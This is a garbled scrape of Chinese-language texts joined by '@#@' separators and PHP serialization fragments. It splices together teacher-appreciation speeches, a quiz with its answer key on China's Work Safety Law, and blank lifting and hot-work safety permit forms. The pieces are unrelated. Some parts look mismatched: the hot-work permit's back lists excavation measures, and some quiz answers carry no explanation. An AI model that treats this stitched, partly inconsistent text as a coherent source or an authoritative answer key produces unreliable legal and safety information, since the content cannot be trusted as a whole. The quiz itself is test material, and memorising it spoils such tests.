@#@老师,是您,用真诚融化了一个冰冷孩子的心灵;@#@是您,用热情点燃了一个自卑孩子的心灵,是您,用信任的眼光让我找到了自信,成为班上的佼佼者。
@#@@#@黄金有价爱无价,最后,我要大声地呐喊:
@#@张老师,张妈妈,我爱你!
@#@@#@爱老师、爱父母演讲稿爱老师演讲稿@#@我想问同学们,孩子们,回答我一句话,你爱你的老师吗?
@#@从心理学来讲,当一个人讲话,用内心发出的声音是宏亮的,当一个人讲话,口是心非的时候,说出来的话就是拖着长音的。
@#@再一次回答我,你爱你的老师吗?
@#@当你笑嘻嘻的表情告诉我,你心里边说着另外一句话,才怪呢,同学们,我理解你,因为我也和你一样,在这个年龄从学校里走出来。
@#@在谈论这个话题之前,老师给你讲一个寓言。
@#@@#@曾经,有一个年轻的商人,在黑暗的山谷里面走夜路。
@#@天很黑,他迷路了,他找不到走出大山的方向,看不到星星和月亮,冷冷的山风飕飕地吹过来,他的头发都立起来了。
@#@突然,他听到夜空中,传来了一个声音。
@#@那声音不知道从哪里来的,那声音对他说:
@#@“年轻人,地上有石子,捡几颗,天亮了,会有用的。
@#@”他感到非常恐惧啊,那声音一遍一遍地响起来。
@#@“年轻人,地上有石子,捡几颗吧,天@#@亮了会有用的。
@#@”最后,那声音几乎在哀求了,“年轻人,地上有石子,快捡几颗,天亮会有用的。
@#@”他想,我还是照做吧。
@#@于是,弯下腰,随随便便,捡了几个石子放在手里。
@#@就这样,他的手里握着这几个石子,竟然奇迹般地引导他走出了大山。
@#@天亮了,年轻的商人很想知道这手里攥的是什么?
@#@借着黎明微微透出的晨阳,他伸开了自己的手掌,哇!
@#@竟然是金灿灿的黄金。
@#@他突然明白,原来昨天那个声音是善意的,那个声音是对我好。
@#@他开始后悔,为什么我昨天不多捡一点呢?
@#@当他回头望向那茫茫大山时,他看到黑压压的大山连在一起,根本就找不到那条回去的路了。
@#@@#@当我说到这里时,也许有的同学会说,这故事很荒诞;@#@也许有的朋友会讲,哪里会有这样的事。
@#@同学们,今天老师想告诉你的是如果今天的你,在这样一个年龄里,在学校里你不好好读书,将来有一天,你就会成为这个故事的主角。
@#@在今天我们社会上,有多少成年人已经成为这个故事的主角了,孩子们,当你在学校里读书,当你打开作业本,当你在写作业,当你学习的时候,有一个声音在你的耳旁不停地响起,那是你爸爸妈妈的声音,那是你老师的声音,那是每一个爱你的人的声音,他们说着相同的一句话“孩子啊,好好读书吧,将来会有用的,孩子啊,好好读书吧,将来会有用的。
@#@”@#@人生苦短,两三万天,弹指一挥间,用到学习上起码要用掉四分之一的光阴,而就在这四分之一的光阴里,是你的老师每天在陪伴着你。
@#@同学们,今天这社会上有很多不正常的现象。
@#@在南京、广州、北京、上海、重庆许多大城市我去过都看到,一些同学走在街上,碰到自己学校的老师会不自觉地把他躲开,实在躲不开了,就勉强地应付一下“老师好”;@#@有的小同学背后在讲老师的坏话,有的孩子回到家里对妈妈说,我们老师真坏呀,今天又留了那么多作业;@#@更有甚者,小同学在自己笔记本的后面,还画着老师的漫画像。
@#@我不知道你是否曾经做过。
@#@然而,邹老师要告诉你什么,老师像妈妈一样,老师是你生命的恩人。
@#@每当你放学以后,你在游戏厅里玩耍,你去踢足球,你玩得很开心的时候,你知道老师在做什么,老师还在教研室里边在备课。
@#@当我们南京的万家灯火熄灭了,在凌晨两三点钟,也许在楼上还在亮着的一盏灯下,是你的老师啊,还在批改着全班同学的作业。
@#@老师也是人啊,老师也是有父亲、母亲,老师也是有孩子的,有多少老师啊,在节假日里不能去看望自己的父母,不能陪自己的小孩去公园,而在和自己班级的孩子在一起。
@#@老师是不容易的,每一个当老师的,当她选择这个职业的时候就意味着一生的奉献。
@#@人民教师,多伟大的一个称谓。
@#@@#@曾经在四川省大凉山地区,在那偏远的山区里面,那个贫困的山区里,有这样一位女教师,她是上海师范学院毕业的,她的名叫李静。
@#@李静老师来到大凉山,她看到这里的贫穷落后,看到山里的农民渴求知识的眼光,看到那些孩子们渴望学习的愿望,李老师留下了。
@#@她想,一个年轻人就是要为祖国的建设做点贡献。
@#@然而,没过多久,她也一样忍耐不住了,那里的条件实在太艰苦了,连课桌都是用几个小小的木板搭建起来的。
@#@每当过年过节,她就会流泪啊,她想着上海街道上繁华的霓虹灯,想着自己的妈妈,想着自己的同学和朋友。
@#@终于在这一天,李老师经过思考之后,她决定离开了。
@#@她没有告诉任何人,她悄悄地打了一个包裹,起了一个大早,爬上了茫茫大山。
@#@她要去县城火车站,她要悄悄离开她的学校和同学们,要回到上海,回到她的家。
@#@就在天刚蒙蒙亮的时候,李老师爬到最高的山上。
@#@来到山顶时,她突然听到后面传来了孩子们的喊声,“老师啊,请你留下来,老师,我们需要你。
@#@老师,你不要走啊。
@#@”所有李老师教过的孩子打着赤脚跑到山上来,她们紧紧地跟着李老师,齐刷刷地跪在那里。
@#@孩子们背着李老师教的歌谣,“离离原上草,一岁一枯荣。
@#@”李老师感动了,“孩子们,咱们回学校吧。
@#@”李老师留下了。
@#@她在那大山里一干就是十几年哪。
@#@她成为全国优秀教师,在北京人民大会堂得到过教育部部长亲自颁发的优秀教师证书。
@#@然而,就是这样一位可爱的老师,在她的生命中却是遇到了不幸。
@#@在她38岁的时候患了癌症,她住到了医院里面,同学们都来捐款。
@#@一元两元,一毛两毛都拿来了。
@#@孩子们,你们知道吗?
@#@山区的一个孩子拿出一元钱有多不容易啊。
@#@@#@我爱老师演讲稿爱老师演讲稿@#@天,老师是主题,空气中弥漫着感念师恩的情绪。
@#@我想说:
@#@“老师,我爱您!
@#@”@#@老师教育我们做一个有修养的人,用“爱”的系列教育让我们领悟到做人的真谛;@#@@#@老师教育我们做一个有学问的人,他们潜心钻研教学,培养出一批又一批优秀的人才。
@#@@#@下面,就让大家和我一起来分享老师的一封来信。
@#@@#@“宋老师,好久不见,想你了。
@#@想回到你身边,听听您说说话,看看您的笑容,回到学校,那个有您的小天地里,虽然有时会很累,可是一见到您,和您说说话,就什么累呀苦呀就都会烟消云散的。
@#@有句心里话一直没敢跟您讲,我在心里怨您,怨您教我们太迟,早在我们入校时就应该见到您,那样我能早一些找到快乐,找到自信。
@#@和自己喜欢的老师在一起,做什么都乐意。
@#@毕业照上没能和您坐在一起,我至今感到遗憾……”这是一个已经毕业的学生写给老师的信。
@#@真挚的师生情感跃然纸上,话语平凡,透着真情,篇幅不长,句句打动人心。
@#@这个学生家住农村,家境贫寒,性格孤僻,却又聪慧诚实,自卑掩盖了一切,也是自卑差点毁了一切。
@#@是老师常给予她自信和力量,给她讲做人的道理,讲宽容和尊重,教她如何与同学们和睦相处,帮她解决学习和生活的每一个苦恼。
@#@渐渐地,老师的执着改变了她悲观的性格,老师的爱调敲开了她冰封的心灵。
@#@如今,她已经考上了重点大学,如阳光般灿烂。
@#@@#@我,一个三年级的孩子,还不太懂得师爱的真正含义,但却已享受了太多老师的那甜甜的笑容、轻轻地抚摸、贴心的话语……@#@静静的夜晚为我们批改的是老师!
@#@@#@站在各种竞赛领奖台上的是老师!
@#@@#@和家长交流、亲密配合的是老师!
@#@@#@关心我们学习、生活的,还是老师!
@#@@#@年复一年,日复一日!
@#@@#@老师爱我,他们把爱撒向每一个孩子;@#@@#@我们爱老师,因为老师是最值得我们尊重和感恩的人。
@#@@#@老师,我还要告诉您,我每次遇见大人们总是东躲西藏,羞于打招呼。
@#@但您不同,遇到您我会主动和您说话,甚至扑到您的怀里,那时的我美滋滋的。
@#@记得那次我学美术回家遇到您,我对您说了声“老师好”,您微微一笑。
@#@那时,您是那样慈祥,是那样亲切,我的心里甜丝丝的。
@#@@#@老师,我真的感谢您。
@#@@#@感谢您培养起一代代新人,一根根栋梁,尽管这世界有日新月异的变化,但我们对您的爱,您对我们的爱是永远不会变,老师这一首唱不完的赞歌会永远唱下去……@#@@#@";i:
32;s:
22283:
"安全生产法河北危险品安全生产从业人员生产培训大纲@#@《安全生产法》习题@#@一、单选题@#@1、《安全生产法》由中华人民共和国第九届全国人民代表大会常务委员会第二十八次会议于2002年6月29日通过公布,自(C)起施行。
@#@@#@A2002年7月1日B2002年10月1日@#@C2002年11月1日D2002年12月1日@#@2、2014年8月31日第十二届全国人民代表大会常务委员会第十次会议通过全国人民代表大会常务委员会关于修改《中华人民共和国安全生产法》的决定,自(D)起施行。
@#@@#@A2014年8月31日B2014年9月1日@#@C2014年11月1日D2014年12月1日@#@3、《安全生产法》总则第一条:
@#@为了加强安全生产工作,防止和减少生产安全事故,保障人民群众生命和财产安全,(C)经济社会持续健康发展,制定本法。
@#@@#@A保障B实现C促进D坚持@#@4、安全生产工作(B)生产经营单位的主体责任@#@A实行和强化B强化和落实@#@C坚持和强化D强化和坚持@#@5、安全生产,建立的机制,以下排序正确的是(C)。
@#@@#@a政府监管 b行业自律 c生产经营单位负责 d社会监督 e职工参与@#@AcaedbBcabedCceabd@#@Dabcde@#@6、生产经营单位的(A),对本单位的安全生产工作全面负责。
@#@@#@A主要负责人B总经理C投资人@#@D分管安全负责人@#@7、生产经营单位的从业人员有依法获得安全生产保障的权利,并应当依法履行安全生产方面的(C)。
@#@@#@A责任B职责C义务D职务@#@8、国务院和县级以上地方各级人民政府应当根据国民经济和社会发展规划制定安全生产规划,并组织实施。
@#@安全生产规划应当与(C)相衔接。
@#@@#@A本地发展规划B本地经济规划@#@C城乡规划D社会发展规划@#@ @#@@#@9、乡、镇人民政府以及街道办事处、开发区管理机构等地方人民政府的派出机关应当按照职责,加强对本行政区域内生产经营单位安全生产状况的监督检查,(D)上级人民政府有关部门依法履行安全生产监督管理职责。
@#@@#@A支持B帮助C履行D协助@#@10、县级以上地方各级人民政府安全生产监督管理部门依照本法,对本行政区域内安全生产工作实施(C)监督管理。
@#@@#@A全面B强化C综合D具体@#@11、(B)应当按照保障安全生产的要求,依法及时制定有关的国家标准或者行业标准,并根据科技进步和经济发展适时修订。
@#@@#@A国务院标准化委员会B国务院有关部门@#@C国家安监总局@#@D国务院各个行业管理机构@#@12、新修订的《安全生产法》中,生产经营单位的主要负责人对本单位安全生产工作负有的职责,新增加的一条是(B)。
@#@ @#@A建立、健全本单位安全生产责任制@#@B组织制定实施本单位安全生产教育和培训计划@#@C保证本单位安全生产投入的有效实施@#@D督促、检查本单位的安全生产工作,及时消除生产安全事故隐患@#@13、以下不属于生产经营单位的安全生产管理机构以及安全生产管理人员职责的是(D)@#@A制止和纠正违章指挥、强令冒险作业、违反操作规程的行为@#@B督促落实本单位安全生产整改措施。
@#@@#@C督促落实本单位重大危险源的安全管理措施@#@D保证本单位安全生产投入的有效实施@#@14、生产经营单位采用新工艺、新技术、新材料或者使用新设备,必须了解、掌握其安全技术特性,采取有效的安全防护措施,并对从业人员进行(A)的安全生产教育和培训。
@#@@#@A专门B专项C系统D规范@#@15、矿山、金属冶炼建设项目和用于生产、储存、装卸危险物品的建设项目的施工单位必须按照批准的安全设施设计施工,(B)对安全设施的工程质量负责。
@#@@#@A建设单位B施工单位C建设监理单位@#@D安全生产监督管理部门@#@16、生产经营单位应当在有较大危险因素的生产经营场所和有关设施、设备上,设置明显的(A)标志。
@#@@#@A安全警示B禁止进入C有毒有害@#@D注意安全@#@17、《安全生产法》规定,生产经营单位必须对(C)进行经常性维护、保养,并定期检测,保证正常运转。
@#@维护、保养、检测应当作好记录,并由有关人员签字。
@#@@#@A大型设备B压力管道压力容器@#@C安全设备D关键性设备@#@18、生产经营单位应当建立健全生产安全事故隐患排查治理制度,采取技术、管理措施,及时发现并消除事故隐患。
@#@事故隐患排查治理情况应当如实记录,并(C)。
@#@@#@A向当地安全生产监督管理部门报告@#@B向行业主管部门报告@#@C向从业人员通报@#@D向企业相关管理人员通报@#@19、国家(C)生产经营单位投保安全生产责任保险。
@#@@#@A要求B支持C鼓励D动员@#@20、从业人员发现事故隐患或者其他不安全因素,应当立即向现场安全生产管理人员或者本单位负责人报告,这是从业人员的(D)。
@#@@#@A权利B责任C职责D义务@#@21、县级以上地方各级人民政府应当根据本行政区域内的安全生产状况,组织有关部门按照职责分工,对本行政区域内容易发生(A)的生产经营单位进行严格检查A重大生产安全事故B一般生产安全事故@#@C较大生产安全事故D生产安全事故@#@22、对已经依法取得安全生产批准的单位,负责行政审批的部门发现其不再具备安全生产条件的,应当(B)。
@#@@#@A重新审批B撤销原批准@#@C予以取缔D要求整改@#@23、安全生产监督检查人员应当忠于职守,坚持原则(B)。
@#@@#@A廉洁执法B秉公执法C严格执法@#@D公正执法@#@24、《安全生产法》规定,新闻、出版、广播、电影、电视等单位有进行安全生产公益宣传教育的义务,有对违反安全生产法律、法规的行为进行(B)的权利。
@#@@#@A公开曝光B舆论监督C批评报道@#@D公开报道@#@25、生产经营单位的主要负责人未履行安全生产管理职责,导致发生生产安全事故的,由安全生产监督管理部门依照下列规定处以罚款。
@#@发生较大事故的,处上一年年收入(B)的罚款。
@#@@#@A百分之三十B百分之四十@#@C百分之五十D百分之六十@#@26、生产经营单位未采取措施消除事故隐患的,责令立即消除或者限期消除,生产经营单位拒不执行的,责令停产停业整顿,并处(D)以下的罚款,对其直接负责的主管人员和其他直接责任人员处二万元以上五万元以下的罚款。
@#@@#@A二万元以上十万元B五万元以上二十万元@#@C十万元以上二十万元D十万元以上五十万元@#@27、生产经营单位与从业人员订立协议,免除或者减轻其对从业人员因生产安全事故伤亡依法应承担的责任的,该协议无效,对生产经营单位的主要负责人、个人经营的投资人处(C)的罚款。
@#@@#@A一万元以上五万元以下@#@B二万元以上五万元以下@#@C二万元以上十万元以下@#@D五万元以上二十万元以下@#@二、判断题@#@1、在中华人民共和国领域内从事生产经营活动的单位(以下统称生产经营单位)的安全生产,适用本法;@#@有关法律、行政法规对消防安全和道路交通安全、铁路交通安全、水上交通安全、民用航空安全以及核与辐射安全、特种设备安全另有规定的,既适用其规定,又适用本法。
@#@(×@#@)@#@错误:
@#@已经另有规定的,只“适用其规定”@#@3、生产经营单位必须执行依法制定的保障安全生产的国家标准或者行业标准。
@#@(√)@#@4、生产经营单位委托法律规定的机构提供安全生产技术、管理服务的,保证安全生产的责任由受委托单位负责。
@#@(×@#@)@#@错误:
@#@仍由生产经营单位负责@#@5、国家实行生产安全事故责任追究制度,依照本法和有关法律、法规的规定,追究生产安全事故单位负责人的法律责任。
@#@(×@#@)@#@ 错误:
@#@追究”责任人员“法律责任@#@6、生产经营单位应当具备本法和有关法律、行政法规和国家标准或者行业标准规定的安全生产条件;@#@不具备安全生产条件的,未经批准不得从事生产经营活动。
@#@(×@#@)@#@错误:
@#@谁都不能批准,批准也不许从事生产经营活动@#@7、生产经营单位的安全生产责任制主要是针对各层领导干部,一般从业人员的安全重点是遵规守纪,杜绝“三违”。
@#@(×@#@)@#@错误:
@#@安全生产人人有责@#@8、矿山、金属冶炼、建筑施工、道路运输单位和危险物品的生产、经营、储存单位,无论规模大小,都应当设置安全生产管理机构或者配备专职安全生产管理人员。
@#@(√)@#@9、非高危行业的生产经营单位,从业人员超过三百人的,应当设置安全生产管理机构或者配备专职安全生产管理人员。
@#@(×@#@)@#@错误:
@#@一百人就要设置机构 配备人员@#@10、生产经营单位作出涉及安全生产的经营决策,应当听取安全生产管理机构以及安全生产管理人员的建议。
@#@(×@#@)@#@错误:
@#@不是“建议”而是“意见”@#@11、危险物品的生产、储存单位以及矿山、金属冶炼单位的安全生产管理人员的任免,应当告知当地政府的部门。
@#@(×@#@)@#@错误:
@#@应当是“主管的负有安全生产监督管理职责”的部门@#@12、危险物品的生产、经营、储存单位以及矿山、金属冶炼、建筑施工、道路运输单位的主要负责人和安全生产管理人员,应当由负有相关培训资质的机构对其安全生产知识和管理能力考核合格。
@#@(×@#@)@#@错误:
@#@由负有安全生产监督管理的部门考核@#@13、危险物品的生产、储存单位以及矿山、金属冶炼单位应当有注册安全工程师从事安全生产管理工作。
@#@(√)@#@14、注册安全工程师按专业分类管理,具体办法由国务院人力资源和国务院安全生产监督管理部门制定。
@#@(×@#@)@#@错误:
@#@还有社会保障部门、国务院有关部门@#@15、生产经营单位使用被派遣劳动者的,应当由派遣劳动者单位负责对被派遣劳动者进行岗位安全操作规程和安全操作技能的教育和培训。
@#@(×@#@)错误:
@#@应当将被派遣劳动者纳入本单位从业人员统一管理,对被派遣劳动者进行岗位安全操作规程和安全操作技能的教育和培训。
@#@@#@16、生产经营单位接收中等职业学校、高等学校学生实习的,应当由学校对实习学生进行相应的安全生产教育和培训,提供必要的劳动防护用品。
@#@生产经营单位应当协助学校对实习学生进行安全生产教育和培训。
@#@(×@#@)@#@错误:
@#@学校应当协助生产经营单位对实习学生进行安全生产教育和培训。
@#@@#@17、特种作业人员的范围由国务院安全生产监督管理部门确定。
@#@(×@#@)错误:
@#@还要会同国务院有关部门确定@#@18、《安全生产法》规定,矿山、金属冶炼建设项目和用于生产、储存、装卸危险物品的建设项目,应当按照国家有关规定进行申报。
@#@(×@#@)@#@错误:
@#@应当进行安全评价@#@19、矿山、金属冶炼建设项目和用于生产、储存、装卸危险物品的建设项目的安全设施设计应当按照国家有关规定报经有关部门审查,安全生产监督管理部门对审查结果负责。
@#@(×@#@)@#@错误:
@#@审查部门及其负责审查的人员对审查结果负责@#@20、国家对严重危及生产安全的工艺、设备实行淘汰制度,生产经营单位不得使用应当淘汰的危及生产安全的工艺、设备。
@#@(√)@#@21、县级以上地方各级人民政府负有安全生产监督管理职责的部门应当建立健全重大事故隐患治理督办制度,督促生产经营单位消除重大事故隐患。
@#@(√)@#@22、《安全生产法》要求,生产、经营、储存、使用危险物品的车间、商店、仓库不得与员工宿舍在同一座建筑物内,并应当与员工宿舍保持50米的安全距离(×@#@)错误:
@#@没有指出具体距离@#@23、生产经营单位进行爆破、吊装以及国务院安全生产监督管理部门会同国务院有关部门规定的其他危险作业,应当安排安全生产管理人员进行现场安全管理,确保操作规程的遵守和安全措施的落实。
@#@(×@#@)@#@错误:
@#@应当安排专门人员进行现场安全管理@#@24、从业人员必须购买符合国家标准或者行业标准的劳动防护用品,并按照使用规则佩戴、使用。
@#@(×@#@)@#@错误:
@#@这是企业的责任@#@25、生产经营单位的安全生产管理人员在检查中发现重大事故隐患,依照规定向本单位有关负责人报告,有关负责人不及时处理的,安全生产管理人员可以向主管的负有安全生产监督管理职责的部门报告,接到报告的部门应当依法及时处理。
@#@(√)@#@26、两个以上生产经营单位在同一作业区域内进行生产经营活动,可能危及对方生产安全的,应当签订安全生产管理协议,明确对方的安全生产管理职责和应当采取的安全措施,并指定专职安全生产管理人员进行安全检查与协调。
@#@(×@#@)@#@错误:
@#@应当明确各自的安全生产管理职责和应当采取的安全措施@#@27、生产经营单位发生生产安全事故时,单位的主要负责人应当立即组织抢救,并不得在事故调查处理期间擅离职守。
@#@(√)@#@28、生产经营单位必须要求从业人员依法参加工伤保险。
@#@(×@#@)@#@29、从业人员发现直接危及人身安全的紧急情况时,可以在领导批准后,停止作业或者在采取可能的应急措施后撤离作业场所。
@#@(×@#@)@#@错误:
@#@不用领导批准@#@30、工会在发现危及从业人员生命安全的情况时,有权向生产经营单位建议组织从业人员撤离危险场所,生产经营单位必须立即作出处理。
@#@(√)@#@31、工会有权依法参加事故调查,向有关部门提出处理意见,并要求追究有关人员的责任。
@#@(√)@#@32、负有安全生产监督管理职责的部门对涉及安全生产的事项进行审查、验收,应当要求接受审查、验收的单位购买其指定品牌或者指定生产、销售单位的安全设备、器材或者其他产品。
@#@(×@#@)@#@错误:
@#@不许指定@#@33、安全生产监督检查人员应当将检查的时间、地点、内容、发现的问题及其处理情况,作出书面记录,并由检查人员签字。
@#@(×@#@)@#@错误:
@#@还必须有被检查单位的负责人签字@#@34、负有安全生产监督管理职责的部门依法对存在重大事故隐患的生产经营单位作出停产停业、停止施工、停止使用相关设施或者设备的决定,生产经营单位应当依法执行,及时消除事故隐患。
@#@(√)@#@35、负有安全生产监督管理职责的部门依照规定采取停止供电措施,除有危及生产安全的紧急情形外,应当提前四十八小时通知生产经营单位。
@#@(×@#@)错误:
@#@二十四小时@#@36、承担安全评价、认证、检测、检验的机构应当具备省级规定的资质条件,并对其作出的安全评价、认证、检测、检验的结果负责。
@#@(×@#@)@#@错误:
@#@应当具备国家规定的资质条件@#@37、任何单位或者个人对事故隐患或者安全生产违法行为,均有权向负有安全生产监督管理职责的部门报告或者举报。
@#@(√)@#@38、居民委员会、村民委员会发现其所在区域内的生产经营单位存在事故隐患或者安全生产违法行为时,应当向当地公安机关或者有关部门报告。
@#@(×@#@)@#@错误:
@#@不是公安机关而是应当向当地人民政府报告@#@39、县级人民政府应当组织有关部门制定本行政区域内生产安全事故应急救援预案,建立应急救援体系。
@#@(√)@#@正确:
@#@县级以上各级人民政府都应当制定建立@#@40、有条件的生产经营单位应当制定本单位生产安全事故应急救援预案,与所在地县级以上地方人民政府组织制定的生产安全事故应急救援预案相衔接,并定期组织演练。
@#@(×@#@)@#@错误:
@#@不分条件都应制定应急救援预案@#@41、负有安全生产监督管理职责的部门接到事故报告后,根据事故的等级,有权决定是否向上一级报告。
@#@(×@#@)@#@错误:
@#@应当立即上报@#@42、生产安全事故抢救过程中应当采取必要措施,避免或者减少对环境造成的危害。
@#@(√)@#@43、任何单位和个人都应当支持、配合生产安全事故抢救,并提供一切便利条件。
@#@(√)@#@44、《安全生产法》要求,县级以上地方各级人民政府安全生产监督管理部门应当定期统计分析本行政区域内发生生产安全事故的情况,并定期在当地生产经营单位公布。
@#@(×@#@)@#@错误:
@#@向社会公布@#@45、承担安全评价、认证、检测、检验工作的机构,出具虚假证明的,没收违法所得;@#@违法所得在十万元以上的,并处违法所得二倍以上五倍以下的罚款;@#@没有违法所得或者违法所得不足十万元的,单处或者并处十万元以上二十万元以下的罚款。
@#@(√)@#@46、生产经营单位的主要负责人未履行安全生产管理职责,导致发生生产安全事故的,给予撤职处分;@#@构成犯罪的,依照刑法有关规定追究刑事责任。
@#@五年内不得担任任何生产经营单位的主要负责人;@#@对重大、特别重大生产安全事故负有责任的,十年内不得担任本行业生产经营单位的主要负责人。
@#@(×@#@)@#@错误:
@#@重特大事故责任,终身不得担任本行业主要负责人@#@47、《安全生产法》规定,矿山、金属冶炼建设项目或者用于生产、储存、装卸危险物品的建设项目没有安全设施设计或者安全设施设计未按照规定报经有关部门审查同意的,责令停止建设或者停产停业整顿,限期改正;@#@逾期未改正的,处五十万元以上一百万元以下的罚款。
@#@(√)@#@48《安全生产法》规定,生产经营单位未在有较大危险因素的生产经营场所和有关设施、设备上设置明显的安全警示标志的,责令限期改正,可以处五万元以下的罚款;@#@逾期未改正的,处二万元以上十万元以下的罚款。
@#@(×@#@)@#@错误:
@#@是五万元以上二十万元@#@49、《安全生产法》规定,生产经营单位使用应当淘汰的危及生产安全的工艺、设备的,责令限期改正,可以处五万元以下的罚款;@#@逾期未改正的,处五万元以上二十万元以下的罚款。
@#@(√)@#@50、生产经营单位将生产经营项目、场所、设备发包或者出租给不具备安全生产条件或者相应资质的单位或者个人,导致发生生产安全事故给他人造成损害的,与承包方、承租方承担连带赔偿责任。
@#@(√)@#@51、生产经营场所和员工宿舍未设有符合紧急疏散需要、标志明显、保持畅通的出口,或者锁闭、封堵生产经营场所或者员工宿舍出口的,责令限期改正,可以处二万元以下的罚款,对其直接负责的主管人员和其他直接责任人员可以处一万元以下的罚款。
@#@(×@#@)@#@错误:
@#@处单位五万元罚款@#@52、违反《安全生产法》规定,生产经营单位拒绝、阻碍负有安全生产监督管理职责的部门依法实施监督检查的,责令改正;@#@拒不改正的,处二万元以上二十万元以下的罚款。
@#@(√)@#@53、生产经营单位的主要负责人在本单位发生生产安全事故时,不立即组织抢救或者在事故调查处理期间擅离职守或者逃匿的,给予降级、撤职的处分,并由安全生产监督管理部门处上一年年收入百分之六十至百分之一百的罚款。
@#@(√)@#@54、发生较大事故的,对负有责任的生产经营单位除要求其依法承担相应的赔偿等责任外,由安全生产监督管理部门处以五十万元以上一百万元以下的罚款。
@#@(√)@#@55、发生重大事故的,对负有责任的生产经营单位除要求其依法承担相应的赔偿等责任外,由安全生产监督管理部门处以一百万元以上五百万元以下的罚款。
@#@(√)@#@56、予以关闭的行政处罚由负有安全生产监督管理职责的部门按照国务院规定的权限决定。
@#@(×@#@)@#@错误:
@#@安监局要报请县级以上人民政府@#@57、给予拘留的行政处罚由公安机关依照安全生产管理部门的规定决定。
@#@@#@(×@#@)错误:
@#@依据治安管理处罚法的规定决定@#@58、生产安全事故的责任人未依法承担赔偿责任,经人民法院依法采取执行措施后,仍不能对受害人给予足额赔偿的,应当继续履行赔偿义务;@#@受害人发现责任人有其他财产的,可以随时请求人民法院执行。
@#@(√)@#@59、安全生产所指的危险物品,不含枪支弹药和管制刀具。
@#@(√)@#@";i:
33;s:
15784:
"安全作业证台账@#@安全作业证管理台账@#@序号@#@作业证号@#@危险作业种类@#@作业地点@#@作业时间@#@作业人员@#@监护人员@#@审批人@#@审批时间@#@备注@#@1@#@2@#@3@#@4@#@5@#@6@#@7@#@8@#@9@#@10@#@11@#@吊装安全作业证@#@吊装地点@#@吊装工具名称@#@吊装人员@#@特殊工种作业证号@#@安全监护人@#@吊装指挥(负责人)@#@作业时间@#@自年月日时分至年月日时分@#@吊装内容@#@起吊重物质量(t)@#@危害辨识:
@#@@#@ @#@@#@安全措施(执行背面):
@#@@#@ @#@@#@项目单位安全部门负责人(签字):
@#@@#@项目单位负责人(签字):
@#@@#@作业单位安全部门负责人(签字):
@#@@#@作业单位负责人(签字):
@#@@#@有关管理部门审批意见:
@#@@#@ @#@@#@有关管理部门负责人(签字):
@#@@#@年月日@#@吊装安全作业证背面的安全措施@#@序号@#@安全措施@#@打√@#@1@#@作业前对作业人员进行安全教育@#@2@#@吊装质量大于等于40t的重物和土建工程主体结构;@#@吊装物体虽不足40t,但形状复杂、刚度小、长径比大、精密贵重,作业条件特殊,需编制吊装作业方案,并经作业主管部门和安全管理部门审查,报主管副总经理或总工程师批准后方可实施@#@3@#@指派专人监护,并监守岗位,非作业人员禁止入内@#@4@#@作业人员已按规定佩戴防护器具和个体防护用品@#@5@#@应事先与分厂(车间)负责人取得联系,建立联系信号@#@6@#@在吊装现场设置安全警戒标志,无关人员不许进入作业现场@#@7@#@夜间作业要有足够的照明@#@8@#@室外作业遇到大雪、暴雨、大雾及6级以上大风,停止作业@#@9@#@检查起重吊装设备、钢丝绳、揽风绳、链条、吊钩等各种机具,保证安全可靠@#@10@#@应分工明确、坚守岗位,并按规定的联络信号,统一指挥@#@11@#@将建筑物、构筑物作为锚点,需经工程处审查核算并批准@#@12@#@吊装绳索、揽风绳、拖拉绳等避免同带电线路接触,并保持安全距离@#@13@#@人员随同吊装重物或吊装机械升降,应采取可靠的安全措施,并经过现场指挥人员批准@#@14@#@利用管道、管架、电杆、机电设备等作吊装锚点,不准吊装@#@15@#@悬吊重物下方站人、通行和工作,不准吊装@#@16@#@超负荷或重物质量不明,不准吊装@#@17@#@斜拉重物、重物埋在地下或重物坚固不牢,绳打结、绳不齐,不准吊装@#@18@#@棱角重物没有衬垫措施,不准吊装@#@19@#@安全装置失灵,不准吊装@#@20@#@用定型起重吊装机械(履带吊车、轮胎吊车、轿式吊车等)进行吊装作业,遵守该定型机械的操作规程@#@21@#@作业过程中应先用低高度、短行程试吊@#@22@#@作业现场出现危险品泄漏,立即停止作业,撤离人员@#@23@#@作业完成后清理现场杂物@#@24@#@吊装作业人员持有法定的有效证件@#@25@#@地下通讯电(光)缆、局域网络电(光)缆、排水沟的盖板,承重吊装机械的负重量已确认,保护措施已落实@#@26@#@起吊物的质量(t)经确认,在吊装机械的承重范围内@#@27@#@在吊装高度的管线、电缆桥架已做好防护措施@#@28@#@作业现场围栏、警戒线、警告牌、夜间警示灯已按要求设备@#@29@#@作业高度和转臂范围内,无架空线路@#@30@#@人员出入口和撤离安全措施已落实:
@#@A、指示牌;@#@B、指示灯@#@31@#@在爆炸危险生产区域内作业,机动车排气管已装火星熄灭器@#@32@#@现场夜间有充足照明:
@#@@#@A:
@#@36V、24V、12V防水型灯@#@B:
@#@36V、24V、12V防爆型灯@#@33@#@作业人员已佩戴防护器具@#@34@#@补充措施@#@动火安全作业证(正面)@#@编号@#@申请单位@#@申请人@#@作业单位@#@作业地点@#@电源接入点@#@电压@#@填写人@#@作业时间@#@自年月日时分至年月日时分止@#@动火作业范围、内容、方式(包括深度、面积,并附简图):
@#@@#@ @#@@#@项目负责人:
@#@年月日时@#@危害辨识:
@#@@#@ @#@@#@动火安全措施(执行背面):
@#@@#@ @#@@#@作业负责人:
@#@年月日时@#@作业地段@#@负责人意见@#@ @#@@#@作业负责人:
@#@年月日时@#@有关水、电、汽、工艺、设备、消防、安全等部门会签意见:
@#@@#@ @#@@#@总图负责人意见:
@#@@#@年月日时@#@完工验收检查@#@签字:
@#@年月日时@#@动火安全作业证(背面)@#@序号@#@安全措施@#@打√@#@1@#@作业人员作业前已进行了安全教育@#@2@#@作业地点处于易燃易爆场所,需要动火时是否办理了动火证@#@3@#@地下电力电缆已确认保护措施已落实@#@4@#@地下通讯电(光)缆、局域网络电(光)缆已确认保护措施已落实@#@5@#@地下供排水、消防管线、工艺管线已确认保护措施已落实@#@6@#@已按作业方案图划线和立桩@#@7@#@动土地点有电线、管道等地下设施,应向作业单位交待并派人监护;@#@作业时轻挖,禁止使用铁棒、铁镐或抓斗等机械工具@#@8@#@作业现场围栏、警戒线、警告牌夜间警示灯已按要求设置@#@9@#@已进行放坡处理和固壁支撑@#@10@#@人员出入口和撤离安全措施已落实:
@#@A、梯子;@#@B、修坡道@#@11@#@道路施工作业已报:
@#@交通、消防、安全监督部门、应急中心@#@12@#@备有可燃气体检测仪、有毒介质检测仪@#@13@#@现场夜间有充足照明:
@#@@#@A:
@#@36V、24V、12V防水型灯@#@B:
